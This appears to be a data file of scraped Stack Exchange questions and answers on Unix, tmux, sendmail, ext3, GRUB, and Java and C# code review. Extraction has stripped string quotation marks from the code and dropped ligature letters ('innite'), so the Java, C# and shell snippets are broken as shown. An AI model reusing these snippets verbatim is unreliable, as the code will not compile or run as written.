{  "id": "_unix.268866"  , "question": "I want to timeout time command. For example:timeout -s 1 time sleep 5I never get timeout. Is any way to do this?"  , "title": "Timeout time command in bash"  , "tags": "linux;bash"  , "accepted_answer": "The -s option in timeout is for mentioning signal to send.You just need to remove -s:timeout 1 time sleep 5"  } 
{  "id": "_cs.35409"  , "question": "Question:Suppose you have a list of integers and it might contain duplicates. Build a Max Heap using this list. Where would the duplicates of the max integer reside in this Max Heap data structure? Where would the duplicates of other integers reside in the heap?My Answer:   The duplicates can reside below (as children of) the value considering a heap (tree structure).Or if we are using arrays to implement this Max Heap, then the duplicates would reside on the indices H[2i + 1] and H[2i + 2] where i is the index of the parent node.Or we can even make a pointer to a link list of duplicates from that node which has duplicates.The teacher said that there is another way.Could you please give me hints on how to do it? Or at least how to answer this question?"  , "title": "Where To Put Duplicates in Max Heap?"  , "tags": "data structures;heaps;priority queues"  } 
{  "id": "_webapps.107329"  , "question": "On my Facebook account (Desktop Browser) I have a right hand sidebar with online friends I can chat with, and above that, a window with friend's activities, obviously called a Ticker. On the bottom of that sidebar there is a gear, with an option Hide Ticker and Show Ticker, which hides that Friends Activity part of the sidebar, or shows it.Now, on my friend's account, this option is missing completely, you can't even click-hold and drag the sidebar down in order to reveal the Ticker/Friends activity, and I have no idea why is this.Anyone knows how I can bring that option on?"  , "title": "Show Ticker option completely missing"  , "tags": "facebook"  } 
{  "id": "_unix.340435"  , "question": "I am running a sendmail server on CentOS 6.8.  For MTA connections on port25 I want to use tcpwrappers to reject host with no PTR DNS record.so my hosts.allow looks like :sendmail: ALL EXCEPT UNKNOWNMy problem is the mail submission port on 587 seems to share this setting.  The result is that roaming users (mostly on US Cellular) who don't have a PTR record for their current IP address get rejected before they can authenticate.I can fix this by setting up sendmail: ALL in hosts allow, but this about triples the number of garbage connections from spammers on port 25.Does anyone know a way to make sendmail call libwrap for port 25 connections but not for port 587 connections that will be authenticated ?Thanks!"  , "title": "Sendmail 8.14.4 on CentOS 6.8 tcpwrappers problem"  , "tags": "configuration;sendmail;tcp wrappers"  , "accepted_answer": "tcp_wrappers (last stable release: 1997) dates to an awkward phase of the Internet when OS and applications generally lacked suitable protections; since then OS now ship with firewalls by default and applications have all sorts of business logic available (features and milters in the case of sendmail) to keep the spammers to a dull roar. tcp_wrappers is problematic here as it is a single library, so would need two distinct versions of sendmail and probably some patching of sendmail for one to use the library via sendmail and the other sendmailmsp.In this case sendmail has suitable features that will reject connections without rdns but allow relay to authenticated connections via the following sendmail.mc defines (see cf/README under the source for details on these, and how to rebuild sendmail.cf):FEATURE(`delay_checks')dnlFEATURE(`require_rdns')dnl(Lacking such, the next option would be to carry out the necessary business logic via a milter.) Note that the next expected move from the spammers would be to break an authenticated account and spam via that, so log monitoring, rate throttling, and so forth may need to be in place to limit and detect such."  } 
{  "id": "_cogsci.997"  , "question": "I'm working on brain imaging (fMRI) and I'm looking for a way to plot brain effective connectivity (dynamic causal modeling) parameters between different brain regions in a 3D plot. The plotting software should have the following input and output:Input:The directed connections from each region to another are defined by a connectivity matrix (no-connections have a value of 0). The 3D coordinates of the brain regions are presented in another matrix, practically using the weighted mean MNI coordinates of the regions as their coordinates for visualization.Output:The connection strength would be signaled by the color of the sticks, and/or numerically. However, a first step could be simple 3D ball-and-stick diagram without connection parameters. Output as 2D vector or bitmap image: .ps, .eps, .tex, .png, .jpg, etc. The output would be used in a LaTeX document but also in other formats.In the field of molecular analysis (with which I'm completely unfamiliar with), I noticed a lot of free and open-source software for creating ball-and-stick plots of molecules (some with publication-quality ray-tracing). Before reinventing the wheel (programming some intermediate software to convert MNI or Talairach 3D coordinates of brain regions to 3D spatial coordinates of atoms and writing them in some molecule file format for molecule ball-and-stick visualization software eg. RasMol to use it for brain connectivity visualization), I want to ask: Is there a good (and preferibly free) software for brain connectivity visualization?I have checked the examples of MayaVi, R and TikZ but neither of them has anything related to plotting ball-and-stick visualizations."  , "title": "Plotting publication-quality ball-and-stick models of brain connectivity in 3D"  , "tags": "software;neuroimaging;publication process;fmri"  , "accepted_answer": "Have you tried:connectomeviewer http://www.connectomeviewer.org/viewerbrainnetviewer  http://www.nitrc.org/projects/bnv/ which is a toolbox for the SPM software package http://www.fil.ion.ucl.ac.uk/spm/Gephi http://gephi.org/Trackvis http://trackvis.org/Also Nico Dosenbach has some amazing picture of brain connectivity in this paper http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3135376/. The code is based on matlab and the plotting can be done in the caret software http://brainvis.wustl.edu/wiki/index.php/Main_Page from the Van-Essen Lab. "  } 
{  "id": "_webmaster.22968"  , "question": "I bought a domain from godaddy.com and I was wondering how to I edit the information on the webpage? Like html FTP and such. And sorry if this isn't on the correct stack website, but this seems like it would be the best to post this question on."  , "title": "How to edit the pages on your domain on Godaddy?"  , "tags": "web hosting;domains;website design;godaddy"  } 
{  "id": "_webmaster.88383"  , "question": "I'm trying to add new functionality to my site which involves passing a whole bunch of parameters (could be hundreds of parameters) all encoded in base64 format. When I attempt the new URL I get an error 403 (access denied). I verified this to be a length issue because I then tried accessing the same domain but instead of base64 code, I used numbers after the URL and I still get the same error.If you feel like scrolling across, you'll see the URL I try to access:http://example.com/1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111I was looking through my apache configuration files and the only thing that stood out which doesn't make sense here is this:LimitRequestFieldSize 8200LimitRequestLine 8200I say it doesn't make sense because I set the values to 8200 which I think means accept up to 8200 characters in the URL (not 400).Is there a setting I can use in apache to fix this problem, because I know its an apache issue but I'm not sure which setting to fix."  , "title": "Why would a url of example.com/n (where n is the same number repeated 500x) return a 403 error?"  , "tags": "url;apache;configuration;403 forbidden"  } 
{  "id": "_unix.304087"  , "question": "I am wondering if there are in linux  file systems supporting for each file the archive bithttps://en.m.wikipedia.org/wiki/Archive_bitI need something with the same logic in native f.s., like ext3, not fat neither ntfs.best regards, Sala"  , "title": "file system, archive bit"  , "tags": "filesystems;archive"  , "accepted_answer": "Modern Linux systems support custom file attributes, at least on ext4 and btrfs. You can use getfattr to list them and setfattr to set them. Custom attributes are extended attributes in the user namespace, i.e. with a name of that starts with the five characters user..$ touch foo$ getfattr foo$ setfattr -n user.archive -v $(date -r foo) foo$ getfattr -d foo# file: foouser.archive=1471478895You can use a custom attribute if you wish. The value can be any short string (how much storage is available depends on the filesystem and on the kernel version; a few hundred bytes should be fine). Here, I use the file's timestamp; a modification would update the actual timestamp but not the copy in the custom attribute.Note that if the file is modified by deleting it and replacing it with a new version, as opposed to overwriting the existing file, the custom attributes will disappear. This should be fine for your purpose: if the attribute is not present then the file should be backed up.Incremental backup programs in the Unix world don't use custom attributes. What they do is to compare the timestamp of the file with the timestamp of the backup, and back up the file if it's changed. This is more reliable because it takes the actual state of the backup into account  backups made solely according to the system state are more prone to missing files due to a backup disappearing or due to mistakes made when maintaining the attribute."  } 
{  "id": "_codereview.83219"  , "question": "I wrote a simple calculator which uses orders of operations. I would like to know, do you see any serious flaws in logic and what do you think about this solution?It is my second approach to a problem, and the code passes tests (with integers and decimals) for basic operations: ^,|(i used this sign for root square), *, /, +, -. import java.math.*;import java.util.*;public class OrderOfOperations {    ArrayList<String> contents;    String item;    OrderOfOperations check;    public static void main (String[] args){        Scanner input = new Scanner(System.in);        System.out.println(Enter an operation: );        String a = input.nextLine();        OrderOfOperations go = new OrderOfOperations();        a = go.brackets(a);        System.out.println(Result: +a);    }    public String brackets(String s){             //method which deal with brackets separately        check = new OrderOfOperations();        while(s.contains(Character.toString('('))||s.contains(Character.toString(')'))){            for(int o=0; o<s.length();o++){                try{                                                        //i there is not sign                    if((s.charAt(o)==')' || Character.isDigit(s.charAt(o))) //between separate brackets                            && s.charAt(o+1)=='('){                         //or number and bracket,                        s=s.substring(0,o+1)+*+(s.substring(o+1));        //it treat it as                    }                                                       //a multiplication                }catch (Exception ignored){}                                //ignore out of range ex                if(s.charAt(o)==')'){                                  //search for a closing bracket                    for(int i=o; i>=0;i--){                        if(s.charAt(i)=='('){                          //search for a opening bracket                            String in = s.substring(i+1,o);                            in = check.recognize(in);                            s=s.substring(0,i)+in+s.substring(o+1);                            i=o=0;                        }                    }                }            }            if(s.contains(Character.toString('('))||s.contains(Character.toString(')'))||                    s.contains(Character.toString('('))||s.contains(Character.toString(')'))){                System.out.println(Error: incorrect brackets placement);                return Error: incorrect brackets placement;            }        }        s=check.recognize(s);        return s;    }    public String recognize(String s){              //method divide String on numbers and operators        PutIt putIt = new PutIt();        contents = new ArrayList<String>();         //holds numbers and operators        item = ;        for(int i=s.length()-1;i>=0;i--){           //is scan String from right to left,            if(Character.isDigit(s.charAt(i))){     //Strings are added to list, if scan finds                item=s.charAt(i)+item;              //a operator, or beginning of String                if(i==0){                    putIt.put();                }            }else{                if(s.charAt(i)=='.'){                    item=s.charAt(i)+item;                }else if(s.charAt(i)=='-' && (i==0 || (!Character.isDigit(s.charAt(i-1))))){                    item=s.charAt(i)+item;          //this part should recognize                    putIt.put();                    //negative numbers                }else{                    putIt.put();                //it add already formed number and                    item+=s.charAt(i);          //operators to list                    putIt.put();                //as separate Strings                if(s.charAt(i)=='|'){       //add empty String to list, before | sign,                        item+= ;          //to avoid removing of any meaningful String                        putIt.put();        //in last part of result method                    }                }            }        }        contents = putIt.result(contents, ^, |);    //check Strings        contents = putIt.result(contents, *, /);    //for chosen        contents = putIt.result(contents, +, -);    //operators        return contents.get(0);    }    public class PutIt{        public void put(){            if(!item.equals()){                contents.add(0,item);                item=;            }        }        public ArrayList<String>result(ArrayList<String> arrayList, String op1, String op2){            int scale = 10;                              //controls BigDecimal decimal point accuracy            BigDecimal result = new BigDecimal(0);            for(int c = 0; c<arrayList.size();c++){                if(arrayList.get(c).equals(op1)|| arrayList.get(c).equals(op2)){                    if(arrayList.get(c).equals(^)){                        result = new BigDecimal(arrayList.get(c-1)).pow(Integer.parseInt(arrayList.get(c+1)));                    }else if(arrayList.get(c).equals(|)){                        result = new BigDecimal(Math.sqrt(Double.parseDouble(arrayList.get(c+1))));                    }else if(arrayList.get(c).equals(*)){                        result = new BigDecimal(arrayList.get(c-1)).multiply                                (new BigDecimal(arrayList.get(c+1)));                    }else if(arrayList.get(c).equals(/)){                        result = new BigDecimal(arrayList.get(c-1)).divide                                (new BigDecimal(arrayList.get(c+1)),scale,BigDecimal.ROUND_DOWN);                    }else if(arrayList.get(c).equals(+)){                        result = new BigDecimal(arrayList.get(c-1)).add(new BigDecimal(arrayList.get(c+1)));                    }else if(arrayList.get(c).equals(-)){                        result = new BigDecimal(arrayList.get(c-1)).subtract(new BigDecimal(arrayList.get(c+1)));                    }                    try{       //in a case of to out of range ex                        arrayList.set(c, (result.setScale(scale, RoundingMode.HALF_DOWN).                                stripTrailingZeros().toPlainString()));                        arrayList.remove(c + 1);            //it replace the operator with result                        arrayList.remove(c-1);              //and remove used numbers from list                    }catch (Exception ignored){}                }else{                    continue;                            }                c=0;                     //loop reset, as arrayList changed size            }            return arrayList;        }    }} I tested code for inputs such as:1-(1+1)+1,2*(5*(8/2)),|3+3.6589,9-5/(8-3)*2+6,-1--1--1--1+|4^2,1+7/3*(34.67/23-(-2--5)+6^2),2(2(2(2(2(2))))),"  , "title": "Order of operations algorithm for calculator"  , "tags": "java;beginner;calculator;math expression eval"  , "accepted_answer": "OOPYour internal PutIt class doesn't have any state itself, but uses the fields of the enclosing class, which is quite confusing. PutIt could just as well be removed and its methods made part of OrderOfOperations.It's also rarely needed that a class has a field storing an instance of the class itself (linked lists would be an example where this makes sense). If I remove the check field from your code and call all the methods directly, it still seems to work perfectly.I don't want to do a complete redesign of your code, but if you do want to use classes, classes such as Operation and Equation might be more useful.Error HandlingYour code doesn't handle invalid input very well. As I had no idea what valid input looks like, I tried a couple of things:5 + 3 ->  java.lang.NumberFormatException: I would expect at least a message of what string could not be formated (although your program should be able to handle spaces and not throw an error at all).+ 4 2 -> java.lang.ArrayIndexOutOfBoundsException: -1: Again, catching this and presenting a meaningful error message would be nice.NamingVariable names should help a reader understand your code. They should be as expressive as possible.Yours are often very generic. contents of what? what item? check what? PutIt what's it? and put it where? go where? short variable names are also almost never good. c, a, and s are all not very expressive. Especially bad is o as a loop variable, because it results in code like i=o=0, which is quite hard to read.methods should be named after what they do. brackets eg doesn't tell me that at all (does it process brackets? does it find brackets?). Same with recognize (what does it recognize? and what does recognize even mean in this context?), put (put what where?) and result (does it print the result? does it create the result? the result of what?).Miscdon't import *, but the concrete classes that you need.use private or public for fields.use a lot more spaces to increase readability (you can use an IDE to format this for you).don't ignore exceptions. If you don't want to deal with them, throw them upwards. Just swallowing them will make it very hard to find bugs.declare fields in as small a scope as possible. contents and item are both only used in recognize and put. It would be a lot better to declare them inside recognize and pass them as arguments to put."  } 
{  "id": "_codereview.118939"  , "question": "Ok, before you ask: yes, I need to do this. Sort of.I'm wrapping a 3rd-party API for data access, and I can't use an ORM, so I'm implementing this kind of thing:public interface IRepository<TEntity> where TEntity : class, new(){    /// <summary>    /// Projects all entities that match specified predicate into a <see cref=TEntity/> instance.    /// </summary>    /// <param name=filter>A function expression that returns <c>true</c> for all entities to return.</param>    /// <returns></returns>    IEnumerable<TEntity> Select(Expression<Func<TEntity, bool>> filter);    /// <summary>    /// Projects the single that matches specified predicate into a <see cref=TEntity/> instance.    /// </summary>    /// <exception cref=InvalidOperationException>Thrown when predicate matches more than a single result.</exception>    /// <param name=filter>A function expression that returns <c>true</c> for the only entity to return.</param>    /// <returns></returns>    TEntity Single(Expression<Func<TEntity, bool>> filter);    /// <summary>    /// Updates the underlying <see cref=View/> for the specified entity.    /// </summary>    /// <param name=entity>The existing entity with the modified property values.</param>    void Update(TEntity entity);    /// <summary>    /// Deletes the specified entity from the underlying <see cref=View/>.    /// </summary>    /// <param name=entity>The existing entity to remove.</param>    void Delete(TEntity entity);    /// <summary>    /// Inserts a new entity into the underlying <see cref=View/>.    /// </summary>    /// <param name=entity>A non-existing entity to create in the system.</param>    void Insert(TEntity entity);}Notice the Expression<Func<TEntity, bool>> filter parameter of the Single and Select methods? That's so I can write this:using (var repository = new PurchaseOrderRepository()){    var po = repository.Single(x => x.Number == 123456);    //...}Instead of this:_headerView.Browse(PONUMBER = \\123456\\, true);So, this ToFilterExpression extension method allows me to nicely wrap this stringly-typed API with my own strongly-typed API, and hide all the nastiness behind a familiar IRepository abstraction.Here's the extension method in question:public static string ToFilterExpression<TEntity>(this Expression<Func<TEntity, bool>> expression)     where TEntity : class, new(){    if (expression == null)    {        return string.Empty;    }    var lambdaExpression = (LambdaExpression)expression;    lambdaExpression = (LambdaExpression)Evaluator.PartialEval(lambdaExpression);    var visitor = new FilterVisitor<TEntity>(lambdaExpression);    var result = visitor.Filter;    return result;}If you're curious, here's what the client code looks like:static void Main(string[] args){    using (var session = new Session())    {        session.Init(/*redacted*/);        session.Open(/*redacted*/);        using (var context = session.OpenDBLink(DBLinkType.Company, DBLinkFlags.ReadWrite))        using (var repository = new PurchaseOrderHeadersRepository())        {            repository.Compose(context);            var poNumber = 123456;            var date = DateTime.Today.AddMonths(-1);            var result = repository.Select(x => x.Number == poNumber && x.OrderDate >= date || x.Number.EndsWith(123));            foreach(var po in result)            {                Console.WriteLine(PO Number: {0}, po.Number);            }        }    }    Console.ReadLine();}...which looks pretty neat compared to what it would be without that wrapper API! The extension method produces this output:PONUMBER = 123456 AND ORDEREDON >= 20160105 OR PONUMBER LIKE \\%123\\To achieve this, I implemented an ExpressionVisitor, adapting code from an MSDN article. Here's the visitor:/// <summary>/// Based on https://msdn.microsoft.com/en-us/library/bb546158.aspx/// </summary>internal class FilterVisitor<TEntity> : ExpressionVisitor    where TEntity : class, new(){    private readonly Expression _expression;    private string _filter;    private readonly IList<EntityPropertyInfo<TEntity>> _properties;    public FilterVisitor(Expression expression)    {        _expression = expression;        _properties = typeof (TEntity).GetPropertyInfos<TEntity>().ToList();    }    public string Filter    {        get        {            if (_filter == null)            {                _filter = string.Empty;                Visit(_expression);            }            return _filter;        }    }    private readonly ExpressionType[] _binaryOperators =    {        ExpressionType.Equal,        ExpressionType.NotEqual,        ExpressionType.GreaterThan,        ExpressionType.GreaterThanOrEqual,        ExpressionType.LessThan,        ExpressionType.LessThanOrEqual    };    private readonly IDictionary<ExpressionType, string> _binaryOperations = new Dictionary<ExpressionType, string>    {        { ExpressionType.Equal,  =  },        { ExpressionType.NotEqual,  !=  },        { ExpressionType.GreaterThan,  >  },        { ExpressionType.GreaterThanOrEqual,  >=  },        { ExpressionType.LessThan,  <  },        { ExpressionType.LessThanOrEqual,  <=  },        { ExpressionType.AndAlso,  AND  },        { ExpressionType.OrElse,  OR  },    };    private readonly Stack<string> _operators = new Stack<string>();    protected override Expression VisitBinary(BinaryExpression b)    {        if (_binaryOperators.Contains(b.NodeType))        {            foreach (var property in _properties)            {                var name = property.Property.Name;                if (ExpressionTreeHelpers.IsMemberEqualsValueExpression(b, typeof(TEntity), name, b.NodeType))                {                    var value = ExpressionTreeHelpers.GetValueFromEqualsExpression(b, typeof(TEntity), name, b.NodeType);                    if (value is DateTime)                    {                        value = ((DateTime)value).ToString(yyyyMMdd);                    }                    _filter += property.FieldName + _binaryOperations[b.NodeType] + value;                    if (_operators.Any())                    {                        _filter += _operators.Pop();                    }                    return b;                }            }        }        else if (b.NodeType == ExpressionType.AndAlso || b.NodeType == ExpressionType.OrElse)        {            _operators.Push(_binaryOperations[b.NodeType]);        }        return base.VisitBinary(b);    }    protected override Expression VisitMethodCall(MethodCallExpression m)    {        if (m.Method.DeclaringType == typeof(string))        {            if (m.Method.Name == StartsWith)            {                foreach (var property in _properties)                {                    var name = property.Property.Name;                    if (ExpressionTreeHelpers.IsSpecificMemberExpression(m.Object, typeof(TEntity), name))                    {                        _filter += property.FieldName +  LIKE \\ + ExpressionTreeHelpers.GetValueFromExpression(m.Arguments[0]) + %\\;                        return m;                    }                }            }            if (m.Method.Name == EndsWith)            {                foreach (var property in _properties)                {                    var name = property.Property.Name;                    if (ExpressionTreeHelpers.IsSpecificMemberExpression(m.Object, typeof(TEntity), name))                    {                        _filter += property.FieldName +  LIKE \\% + ExpressionTreeHelpers.GetValueFromExpression(m.Arguments[0]) + \\;                        return m;                    }                }            }            if (m.Method.Name == Contains)            {                foreach (var property in _properties)                {                    var name = property.Property.Name;                    if (ExpressionTreeHelpers.IsSpecificMemberExpression(m.Object, typeof(TEntity), name))                    {                        _filter += property.FieldName +  LIKE \\% + ExpressionTreeHelpers.GetValueFromExpression(m.Arguments[0]) + %\\;                        return m;                    }                }            }        }        return base.VisitMethodCall(m);    }}Obviously there are a number of things I could add and support additional constructs and method calls - but this is pretty much good enough for my immediate needs.Is there a better way to do this?"  , "title": "Something like a LINQ provider"  , "tags": "c#;repository;extension methods;expression trees"  , "accepted_answer": "I wouldn't worry too much about the amount of things that aren't supported (yet/if ever) - it's impossible to cover everything in a scenario like this. One thing I would suggest is that you throw exceptions so the caller knows they're doing something unexpected:protected override Expression VisitMethodCall(MethodCallExpression m){    if (m.Method.DeclaringType == typeof(string))    {        // might work better as a switch with a default case.         if (m.Method.Name == StartsWith)        {            // ...        }        if (m.Method.Name == EndsWith)        {            // ...        }        if (m.Method.Name == Contains)        {            // ...        }        throw new NotSupportedException(A meaningful error message);    }    throw new NotSupportedException(A meaningful error message);}LIKE should be a well named constant.String.Format or string interpolation is nicer than concatenation:var value = expressionTreeHelpers.GetValueFromExpression(m.Arguments[0]);_filter += ${property.FieldName} LIKE \\%{value}\\;I'm afraid that's about the limit of what I can suggest at the moment. It seems like a good approach to me but I'm not exactly an expert at this kind of thing! I would suggest putting some search string validation/escaping in as it's generally a good idea to be cautious."  } 
{  "id": "_scicomp.24776"  , "question": "I'm wondering specifically in regard to a recursive function such as massive a game tree. I can't specifically say how big yet, but definitely pushing the limits of a given processor or processor array.Is it correct to say that passing a variable to a function requires an operation. Certainly there must the the flipping of some bits. Does this reduce efficiency?"  , "title": "Is there any computational efficiency to global variables?"  , "tags": "efficiency"  } 
{  "id": "_unix.192287"  , "question": "I hope you are well!I use Manjaro x64_86, using GRUB2 and EFI. I made a large error after coming home from a night shift. I accidentally removed my boot partition when attempting to format an external hard drive for my girlfriend. I followed instructions from the Manjaro wiki to reinstall grub. Some steps are confusing, specifically at the start it asks you to mount your boot partition to /mnt/boot:mount /dev/sda1 /mnt/bootThen later in the EFI section, it asks you to mount the boot partition to /boot/efi:sudo mount /dev/sda1 /boot/efiI wonder if this has contributed.I happily updated grub using update-grub, without any major hitches:sudo update-grubUnfortunately whenever I need to update grub, it does not work. It appears that my computer is using /boot/efi/grub/grub.cfg rather than the /boot/grub/grub.cfg that is automatically updated when I update my kernel/run the update-grub command from inside my currently running Manjaro install.I have attempted to read through various wikis about GRUB2 and EFI, but each one is asking me to read more and more information. Is there any chance I can change this so it updates automatically again? I promise I'll never use gparted when I'm tired again! :)Thank you in advance.EDIT:Specifically my problem now is that when I use sudo update-grub, it only changes /boot/efi/grub/grub.cfg and when I turn on my pc and grub loads, it appears to be using /boot/grub/grub.cfg instead, which isn't being updated."  , "title": "Problems in using GRUB2 - Manjaro"  , "tags": "linux;grub2;grub;manjaro"  , "accepted_answer": "I have done some more reading and I have found the way to update my grub.conf in a different directory. I have not checked if this will now allow it to update automatically in the future, but at least I have a working solution.My problem was GRUB2 was using /boot/efi/grub/grub.cfgand running the scriptupdate-grub was only updating/boot/grub/grub.cfgSo I simply ran:sudo grub-mkconfig -o /boot/efi/grub/grub.cfgand GRUB2 now loads the additional kernels I had installed. However, I have not made this work automatically. I think I will see if it is functioning later, if it is not, I will sym-link /boot/efi/grub/to /boot/grubI have not tested this further solution, so caution is advised. "  } 
{  "id": "_unix.78861"  , "question": "I have an embedded setup using an initramfs for the root file system but using a custom ext3 partition mounted on a compact flash IDE drive. Because data integrity in the face of power loss is the most important factor in the entire setup, I have used the following options to mount (below is the entry from my /etc/fstab file<file system> <mount pt> <type> <options>                         <dump><pass>/dev/sda2     /data      ext3   auto,exec,relatime,sync,barrier=1 0     2I came by these options from reading around on the internet. What I am worried about is that the content of /proc/mounts give the following:/dev/sda2 /data ext3 rw,sync,relatime,errors=continue,user_xattr,acl,barrier=1,data=writeback 0 0From what I understand from reading around is that I want to use data=journal option for my mount as this offers the best protection against data corruption. However, from the man page for specific ext3 options for mount it says the following about the writeback option:Data ordering is not preserved - data may be written into the main  filesystem after its metadata has been committed to the journal.  This is rumoured to be the highest-throughput option. It guarantees  internal filesystem integrity, however it can allow old data to appear  in files after a crash and journal recovery.I am very confused about this - the man page seems to suggest that for file system integrity I want to specify data=writeback option to mount but most other references I have found (including some published books on embedded linux) suggest that I should be using data=journal. What would be the best approach for me to use? Write speed is not an issue at all - data integrity is though."  , "title": "What mount option to use for ext3 file system to minimise data loss or corruption?"  , "tags": "mount;ext3;journaling"  , "accepted_answer": "Don't get misled by the fact that only writeback mentions internal filesystem integrity.With ext3, whether you use journal, ordered or writeback, file system metadata is always journalled and that means internal file system integrity.  The data modes offer a way of control over how ordinary data is written to the file system.In writeback mode, metadata changes are first recorded in the journal and a commit block is written. After the journal has been updated, metadata and data write-outs may proceed. data=writeback can be a severe security risk: if the system crashes while appending to a file, after the metadata has been committed (and additional data blocks allocated), but before the data has been written (data blocks overwritten with new data), then after journal recovery that file may contain blocks filled with data from previously deleted files  from any user1. So, if data integrity is your main concern and speed is not important, data=journal is the way to go."  } 
{  "id": "_unix.260183"  , "question": "Tmux doesn't passes correctly the ctrl-shift-arrow sequences.It doesn't work on emacs, and when I use sed -n l, I see it displays the escape sequence of the arrow key alone instead of the full sequnceFor example, ctrl-shift-right passes as ^[[C (which is the same as the escape sequence of the right key), instead of ^[OC (outside tmux).Any idea of how to solve this?Note that ctrl-arrow key (without shift) and shift-arrow (without ctrl) pass correctly.My .tmux.conf is:# Changes prefix from Ctrl-b to Alt-aunbind C-bset -g prefix M-aset-option -g default-terminal xterm-256color# choosing windows with Alt-#bind -n M-0 select-window -t 0bind -n M-1 select-window -t 1bind -n M-2 select-window -t 2bind -n M-3 select-window -t 3bind -n M-4 select-window -t 4bind -n M-5 select-window -t 5bind -n M-6 select-window -t 6bind -n M-7 select-window -t 7bind -n M-8 select-window -t 8bind -n M-9 select-window -t 9setw -g monitor-activity onset -g visual-activity onset-window-option -g window-status-current-bg whiteset -g mode-mouse onset -g mouse-resize-pane onset -g mouse-select-pane onset -g mouse-select-window on# Toggle mouse onbind m \\    set -g mode-mouse on \\;\\    set -g mouse-resize-pane on \\;\\    set -g mouse-select-pane on \\;\\    set -g mouse-select-window on \\;\\    display 'Mouse: ON'# Toggle mouse offbind M \\    set -g mode-mouse off \\;\\    set -g mouse-resize-pane off \\;\\    set -g mouse-select-pane off \\;\\    set -g mouse-select-window off \\;\\    display 'Mouse: OFF'# disable selecting panes with mouse (because enabling mess with copy-paste)set-option -g mouse-select-pane off# display status bar message for 4 secset-option -g display-time 4000# Start windows and panes at 1, not 0set -g base-index 1set -g pane-base-index 1# enable shift-arrow keysset-window-option -g xterm-keys on# start default shellset-option -g default-shell $SHELL# support for escape char for viset -s escape-time 0"  , "title": "tmux doesn't passes correctly ctrl-shift-arrow sequences"  , "tags": "terminal;keyboard shortcuts;keyboard;tmux"  , "accepted_answer": "It looks like tmux is doing the right thing for your example:For example, ctrl-shift-right passes as ^[[C (which is the same as the escape sequence of the right key), instead of ^[OC (outside tmux).because the usual connotation of that sequence is that it is the same as cursor-movement sent from the host.  A zero parameter is the same as a missing parameter, which happens to be one.The terminal was not identified; xterm does not do that.  For controlshiftright-arrow, xterm may send ^[[1;6C.  In this case, tmux absorbs the escape sequence sent, because it is not in the table of known xterm-style keys that it knows about.  In tmux, the file xterm-keys.c contains a table, with the comment:/*                                                      * xterm-style function keys append one of the following values before the last * character: * * 2 Shift * 3 Alt * 4 Shift + Alt                                * 5 Ctrl * 6 Shift + Ctrl * 7 Alt + Ctrl * 8 Shift + Alt + Ctrl * * Rather than parsing them, just match against a table. * * There are three forms for F1-F4 (\\\\033O_P and \\\\033O1;_P and \\\\033[1;_P). * We accept any but always output the latter (it comes first in the table). */"  } 
{  "id": "_unix.243366"  , "question": "I have a directory bar:# file: bar/# owner: root# group: rootuser::rwxuser:little-jonny:rwxgroup::r-xmask::rwxother::r-xdefault:user::rwxdefault:user:little-jonny:rwxdefault:group::r-xdefault:mask::rwxdefault:other::r-xIf I create a directory inside bar with mkdir baz, I have for baz:# file: baz/# owner: root# group: rootuser::rwxuser:little-jonny:rwxgroup::r-xmask::rwxother::r-xdefault:user::rwxdefault:user:little-jonny:rwxdefault:group::r-xdefault:mask::rwxdefault:other::r-xIf I use mkdir -p foo, I have for foo:# file: foo/# owner: root# group: rootuser::rwxuser:little-jonny:rwx               #effective:r-xgroup::r-xmask::r-xother::r-xdefault:user::rwxdefault:user:little-jonny:rwxdefault:group::r-xdefault:mask::rwxdefault:other::r-xWhy mkdir -p uses the default root rights when there is explicit rule that states default:mask::rwx if you are in bar?How force mkdir -p to behave as mkdir? (Without always passing -m775 when root and it should happen only when making directories in the bar)"  , "title": "When using linux acl mkdir and mkdir -p do different things"  , "tags": "linux;posix;acl;shell builtin;mkdir"  } 
{  "id": "_cs.206"  , "question": "Let $L_1$, $L_2$, $L_3$, $\\dots$ be an innite sequence of context-free languages, each ofwhich is dened over a common alphabet $$. Let $L$ be the innite union of $L_1$, $L_2$, $L_3$, $\\dots $;i.e., $L = L_1 \\cup L_2 \\cup L_3 \\cup \\dots $. Is it always the case that $L$ is a context-free language? "  , "title": "Is an innite union of context-free languages always context-free?"  , "tags": "formal languages;context free;closure properties"  , "accepted_answer": "The union of infinitely many context-free languages may not be context free. In fact, the union of infinitely many languages can be just about anything: let $L$ be a language, and define for every $l \\in L$ the (finite) language $L_l = \\{ l \\}$. The union over all these languages is $L$. Finite languages are regular, but $L$ may not even be decidable (and thereby definitely not context-free).The closure properties of context-free languages can be found on Wikipedia."  } 
{  "id": "_unix.242423"  , "question": "I am connected through VNC to a CentOS 6.4 machine at my workplace. Every five minutes a box pops up that says:Authentication is required to set the network proxy used for downloading packagesAn application is attempting to perform an action that requires privleges. Authentication as the super user is required to perform this actionPassword for root:DetailsRole unknownAction: org.freedesktop.packagekit.system-network-proxy-configureVendor: The PackageKit Project[Cancel] [Authenticate]I don't have the root password, so usually I just click it an make it go away but it tends to come back a few minutes later. My local sysadmin has tried to deal with the problem a few times and given up and told me just to keep closing the popup box. That said, its driving me nuts. Is there some way I can make it so I don't have to see the popup, even if the problem isn't itself fixed? Less preferably, is there some very easy thing I can tell the sysadmin to do to actually fix the problem?"  , "title": "Banish a popup error message"  , "tags": "centos;pop up"  } 
{  "id": "_webmaster.102061"  , "question": "Recently, I moved a site from http to https and the sitemaps got updated. I submitted the sitemaps to Google. There were around 9 sitemaps for the site, each of them containing pages/images the site. The site isn't very big to need more than a sitemap (around 1200 pages site). Is it ok to have 9 sitemaps covering the site or shall I recreate just 1 sitemap?"  , "title": "Is it okay to have multiple sitemaps?"  , "tags": "google;google search console;sitemap;xml sitemap"  } 
